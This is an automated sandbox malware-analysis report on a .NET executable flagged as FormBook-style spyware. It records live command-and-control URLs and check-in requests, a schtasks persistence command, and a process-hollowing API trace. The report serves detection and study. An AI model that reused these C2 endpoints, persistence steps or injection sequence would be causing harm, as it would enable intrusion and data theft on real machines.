popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

新しいプロジェクトのリクエスト.exe

Admin Tool (Sysinternals etc ...) UPX PWS AntiDebug PE File OS Processor Check PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 June 15, 2023, 4:07 p.m. June 15, 2023, 4:09 p.m.
Size 915.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 1d8a14663c67671a02af59df183eb3b1
SHA256 c41c2cc0d308b9aaceab396fa08b130f9918965ff07bb9776428b6eea48b56af
CRC32 827ABBB3
ssdeep 12288:Z+ds3q5sIsskRYgD3zsgvEhYDbd/fLONTF3A4Jwd:Z+dXz6jsgvEhkFeB3APd
PDB Path TCqOeKg.pdb
Yara
  • UPX_Zero - UPX packed file
  • OS_Processor_Check_Zero - OS Processor Check
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult
  • Is_DotNET_EXE - (no description)
  • PE_Header_Zero - PE File Signature
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
www.tenistr.online
CNAME tenistr.online
A 31.186.11.254
31.186.11.254
www.geoffregsiu.com
CNAME geoffregsiu.com
A 167.172.228.26
167.172.228.26
www.ladookhotnikov.pro
A 185.215.4.53
185.215.4.53
www.sqlite.org
A 45.33.6.223
45.33.6.223
www.sdrongfei.com
A 154.211.6.140
154.211.6.140
IP Address Status Action
154.211.6.140 Active Moloch
164.124.101.2 Active Moloch
167.172.228.26 Active Moloch
185.215.4.53 Active Moloch
31.186.11.254 Active Moloch
45.33.6.223 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49176 -> 167.172.228.26:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 154.211.6.140:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 154.211.6.140:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 154.211.6.140:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49175 -> 154.211.6.140:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49179 -> 31.186.11.254:80 2031413 ET MALWARE FormBook CnC Checkin (POST) M2 Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 185.215.4.53:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 185.215.4.53:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 185.215.4.53:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49178 -> 167.172.228.26:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49178 -> 167.172.228.26:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49178 -> 167.172.228.26:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49181 -> 31.186.11.254:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49181 -> 31.186.11.254:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49181 -> 31.186.11.254:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "Updates\GiwshnjehSPaW" has successfully been created.
console_handle: 0x00000007
1 1 0
pdb_path TCqOeKg.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

bind

 ip_address: 127.0.0.1
socket: 604
port: 0
1 0 0

listen

 socket: 604
backlog: 2147483647
1 0 0

accept

 ip_address: 127.0.0.1
socket: 604
port: 0
4294967295 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.ladookhotnikov.pro/b0n2/?y9=UBEc/gOREsWhRjfgOCV+1+JiinyAdXbhHxe8y5u01Nzj6ZMeJfVpNRipiet0bNC5wtAmoEND3mJBcEe3MMZ+QNWkhcCvUZa871o6QsI=&udp=hDpz
suspicious_features GET method with no useragent header suspicious_request GET http://www.sdrongfei.com/b0n2/?y9=6rAhzxdjZwhumfSwHjeZhKNvwWilDFZg3FlFq9l5kFDYIxuGNfVhFNHJQ/+ZUBOV1gUdIESkP1VkLGU+T6X2I6iiw2u+SZW4hC7utV4=&udp=hDpz
suspicious_features GET method with no useragent header suspicious_request GET http://www.geoffregsiu.com/b0n2/?y9=C+ffa5fIsPqpX/YjwiZCCYdwDlII4sg9Xg6ClcbCMMdG9WOkFnuyV4UEPSj2eq9dA37TJ/jYCfSNl3AfQBBAWI5iih0wk4QqY5CxYcY=&udp=hDpz
request POST http://www.ladookhotnikov.pro/b0n2/
request GET http://www.ladookhotnikov.pro/b0n2/?y9=UBEc/gOREsWhRjfgOCV+1+JiinyAdXbhHxe8y5u01Nzj6ZMeJfVpNRipiet0bNC5wtAmoEND3mJBcEe3MMZ+QNWkhcCvUZa871o6QsI=&udp=hDpz
request GET http://www.sqlite.org/2021/sqlite-dll-win32-x86-3340000.zip
request GET http://www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip
request POST http://www.sdrongfei.com/b0n2/
request GET http://www.sdrongfei.com/b0n2/?y9=6rAhzxdjZwhumfSwHjeZhKNvwWilDFZg3FlFq9l5kFDYIxuGNfVhFNHJQ/+ZUBOV1gUdIESkP1VkLGU+T6X2I6iiw2u+SZW4hC7utV4=&udp=hDpz
request POST http://www.geoffregsiu.com/b0n2/
request GET http://www.geoffregsiu.com/b0n2/?y9=C+ffa5fIsPqpX/YjwiZCCYdwDlII4sg9Xg6ClcbCMMdG9WOkFnuyV4UEPSj2eq9dA37TJ/jYCfSNl3AfQBBAWI5iih0wk4QqY5CxYcY=&udp=hDpz
request POST http://www.tenistr.online/b0n2/
request POST http://www.ladookhotnikov.pro/b0n2/
request POST http://www.sdrongfei.com/b0n2/
request POST http://www.geoffregsiu.com/b0n2/
request POST http://www.tenistr.online/b0n2/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73d91000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73d92000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c30000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00dc0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00415000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0041b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00417000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 32768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005f9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003cb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6f952000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005ff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003bd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d25000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d26000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d27000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d28000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3004
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d29000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x060d0178
process_handle: 0xffffffff
3221225550 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x060d01a0
process_handle: 0xffffffff
3221225550 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x060d01c8
process_handle: 0xffffffff
3221225550 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 11
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0615500e
process_handle: 0xffffffff
3221225550 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 11
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06155002
process_handle: 0xffffffff
3221225550 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 72
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x060d0208
process_handle: 0xffffffff
3221225550 0

NtProtectVirtualMemory

 process_identifier: 3004
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06120b68
process_handle: 0xffffffff
3221225550 0
file C:\Users\test22\AppData\Roaming\GiwshnjehSPaW.exe
cmdline "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GiwshnjehSPaW" /XML "C:\Users\test22\AppData\Local\Temp\tmpCC24.tmp"
cmdline schtasks.exe /Create /TN "Updates\GiwshnjehSPaW" /XML "C:\Users\test22\AppData\Local\Temp\tmpCC24.tmp"
file C:\Users\test22\AppData\Roaming\GiwshnjehSPaW.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: schtasks.exe
parameters: /Create /TN "Updates\GiwshnjehSPaW" /XML "C:\Users\test22\AppData\Local\Temp\tmpCC24.tmp"
filepath: schtasks.exe
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
cmdline "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GiwshnjehSPaW" /XML "C:\Users\test22\AppData\Local\Temp\tmpCC24.tmp"
cmdline schtasks.exe /Create /TN "Updates\GiwshnjehSPaW" /XML "C:\Users\test22\AppData\Local\Temp\tmpCC24.tmp"
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000003e8
1 0 0
description 新しいプロジェクトのリクエスト.exe tried to sleep 2728192 seconds, actually delayed analysis time by 2728192 seconds
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $±lÁõ}’õ}’õ}’һ͒ö}’һϒô}’һΒô}’Richõ}’PEL5oµKà  Øàð@ð@.texttÖØ `
base_address: 0x00400000
process_identifier: 1632
process_handle: 0x000003e8
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1632
process_handle: 0x000003e8
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $±lÁõ}’õ}’õ}’һ͒ö}’һϒô}’һΒô}’Richõ}’PEL5oµKà  Øàð@ð@.texttÖØ `
base_address: 0x00400000
process_identifier: 1632
process_handle: 0x000003e8
1 1 0
Process injection Process 3004 called NtSetContextThread to modify thread in remote process 1632
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4199136
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000003f4
process_identifier: 1632
1 0 0
Process injection Process 3004 resumed a thread in remote process 1632
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000003f4
suspend_count: 1
process_identifier: 1632
1 0 0
Bkav W32.AIDetectMalware
Cynet Malicious (score: 100)
Cylance unsafe
Sangfor Trojan.Msil.Agent.V8zv
Symantec Scr.Malcode!gdn30
Elastic malicious (high confidence)
APEX Malicious
Kaspersky UDS:Trojan-Spy.MSIL.Noon.gen
Avast TrojanX-gen [Trj]
McAfee-GW-Edition Artemis
FireEye Generic.mg.1d8a14663c67671a
Sophos Mal/Generic-S
SentinelOne Static AI - Suspicious PE
ZoneAlarm UDS:Trojan-Spy.MSIL.Noon.gen
Microsoft Trojan:Win32/Leonem
Acronis suspicious
McAfee Artemis!1D8A14663C67
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Kryptik.AIZN!tr
AVG TrojanX-gen [Trj]
DeepInstinct MALICIOUS
CrowdStrike win/malicious_confidence_100% (D)
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 3004
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 3004
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 3004
1 0 0

NtResumeThread

 thread_handle: 0x00000278
suspend_count: 1
process_identifier: 3004
1 0 0

NtGetContextThread

 thread_handle: 0x00000154
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 3004
1 0 0

NtResumeThread

 thread_handle: 0x00000208
suspend_count: 1
process_identifier: 3004
1 0 0

NtResumeThread

 thread_handle: 0x00000248
suspend_count: 1
process_identifier: 3004
1 0 0

CreateProcessInternalW

 thread_identifier: 2424
thread_handle: 0x00000474
process_identifier: 2368
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GiwshnjehSPaW" /XML "C:\Users\test22\AppData\Local\Temp\tmpCC24.tmp"
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000047c
1 1 0

CreateProcessInternalW

 thread_identifier: 1628
thread_handle: 0x000003f4
process_identifier: 1632
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\新しいプロジェクトのリクエスト.exe
track: 1
command_line: "{path}"
filepath_r: C:\Users\test22\AppData\Local\Temp\新しいプロジェクトのリクエスト.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000003e8
1 1 0

NtGetContextThread

 thread_handle: 0x000003f4
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000003e8
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $±lÁõ}’õ}’õ}’һ͒ö}’һϒô}’һΒô}’Richõ}’PEL5oµKà  Øàð@ð@.texttÖØ `
base_address: 0x00400000
process_identifier: 1632
process_handle: 0x000003e8
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 1632
process_handle: 0x000003e8
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1632
process_handle: 0x000003e8
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4199136
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000003f4
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x000003f4
suspend_count: 1
process_identifier: 1632
1 0 0